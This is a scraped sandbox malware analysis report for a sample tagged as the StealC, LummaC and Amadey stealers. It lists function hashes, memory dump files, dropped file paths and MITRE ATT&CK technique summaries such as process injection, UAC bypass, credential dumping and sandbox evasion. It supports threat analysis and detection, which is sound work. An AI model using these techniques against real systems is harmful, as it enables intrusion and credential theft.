Instruction Fuzzy Hash: CD313931600205EFEB21AA79DC45BDBB3E8EF4035EF186439E495F6595DE71AC808B21

Function 00EBCBDF Relevance: 6.3, APIs: 4, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 00EBCC66

Memory Dump Source

Source File: 00000006.00000002.3407707038.0000000000E81000.00000040.00000001.01000000.00000008.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000006.00000002.3407296191.0000000000E80000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3407707038.0000000000EE2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3409164405.0000000000EE9000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3409583470.0000000000EEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3409583470.0000000001075000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3409583470.0000000001152000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3409583470.0000000001186000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3409583470.000000000118D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3409583470.000000000119C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3415404827.000000000119D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3416696932.000000000133D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3416893833.000000000133E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3417014564.000000000133F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3417253656.0000000001340000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_e80000_skotes.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: c90ae3db66b5619743134332522a0b96de832b73a835be1452314c5289bd2e52
Instruction ID: 964b886011fa3156479b2df903ccf48636ef99ef14df5bd00f201a022f558e55
Opcode Fuzzy Hash: c90ae3db66b5619743134332522a0b96de832b73a835be1452314c5289bd2e52
Instruction Fuzzy Hash: 85B10232A082469FDB158F28C881BFFBBE5EF55344F24516AE855FB242D6349D02CB60

Function 00E9BB72 Relevance: 6.1, APIs: 4, Instructions: 80COMMON

Download Yara Rule

APIs

_xtime_get.LIBCPMT ref: 00E9BBCA
__Xtime_diff_to_millis2.LIBCPMT ref: 00E9BBE4
_xtime_get.LIBCPMT ref: 00E9BC07
__Xtime_diff_to_millis2.LIBCPMT ref: 00E9BC13

Memory Dump Source

Source File: 00000006.00000002.3407707038.0000000000E81000.00000040.00000001.01000000.00000008.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000006.00000002.3407296191.0000000000E80000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3407707038.0000000000EE2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3409164405.0000000000EE9000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3409583470.0000000000EEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3409583470.0000000001075000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3409583470.0000000001152000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3409583470.0000000001186000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3409583470.000000000118D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3409583470.000000000119C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3415404827.000000000119D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3416696932.000000000133D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3416893833.000000000133E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3417014564.000000000133F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3417253656.0000000001340000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_e80000_skotes.jbxd

Yara matches

Similarity

API ID: Xtime_diff_to_millis2_xtime_get
String ID:
API String ID: 531285432-0
Opcode ID: 32978bb4e415d49fe9dc9bd653d5338771f71d6c52c3fa4d01ef0c2c44ad34ea
Instruction ID: 5dc45e05c545b5d80acc8ebd7660a1e5658d1791467a180359d027a878a0ad8b
Opcode Fuzzy Hash: 32978bb4e415d49fe9dc9bd653d5338771f71d6c52c3fa4d01ef0c2c44ad34ea
Instruction Fuzzy Hash: F2213071A01119AFDF00EFA4DD819BEB7F9EF48714F201029FA01B72A1DB30AD019BA0

Function 00E8E360 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 35COMMON

Download Yara Rule

APIs

std::_Xinvalid_argument.LIBCPMT ref: 00E8E4F9

Strings

invalid stoi argument, xrefs: 00E8E4F4
L1, xrefs: 00E8E394

Memory Dump Source

Source File: 00000006.00000002.3407707038.0000000000E81000.00000040.00000001.01000000.00000008.sdmp, Offset: 00E80000, based on PE: true

Associated: 00000006.00000002.3407296191.0000000000E80000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3407707038.0000000000EE2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3409164405.0000000000EE9000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3409583470.0000000000EEB000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3409583470.0000000001075000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3409583470.0000000001152000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3409583470.0000000001186000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3409583470.000000000118D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3409583470.000000000119C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3415404827.000000000119D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3416696932.000000000133D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3416893833.000000000133E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3417014564.000000000133F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3417253656.0000000001340000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_e80000_skotes.jbxd

Yara matches

Similarity

API ID: Xinvalid_argumentstd::_
String ID: L1$invalid stoi argument
API String ID: 909987262-3568411768
Opcode ID: d6df308d9218e9d50731015f7023913c1a2adc6f59e2b086f9542aeba289f6d5
Instruction ID: 26f0d99c230a21e337ddd7440adc9ed94f25828d91e2c36da4293e227a6cf745
Opcode Fuzzy Hash: d6df308d9218e9d50731015f7023913c1a2adc6f59e2b086f9542aeba289f6d5
Instruction Fuzzy Hash: 9EF0F671502314AFC730AB69AD46A5733E8EB45710F101829FD28B7352DB306C04C7A3

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may bypass UAC mechanisms to elevate process privileges on system. Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Command: Command Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: LummaC

Threatname: Amadey

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\Temp\WERA5B3.tmp.dmp

C:\ProgramData\Microsoft\Windows\WER\Temp\WERA7A8.tmp.WERInternalMetadata.xml

C:\ProgramData\Microsoft\Windows\WER\Temp\WERA816.tmp.xml

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\e96c94d1af.exe.log

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\random[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\PMW3U6MX\random[1].exe

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\random[1].exe

Windows Analysis Report
file.exe

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may use legitimate desktop support and remote access software to establish an interactive command and control channel to target systems within networks. These services, such as `VNC`, `Team Viewer`, `AnyDesk`, `ScreenConnect`, `LogMein`, `AmmyyAdmin`, and other remote monitoring and management (RMM) tools, are commonly used as legitimate technical support software and may be allowed by application control within a target environment.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre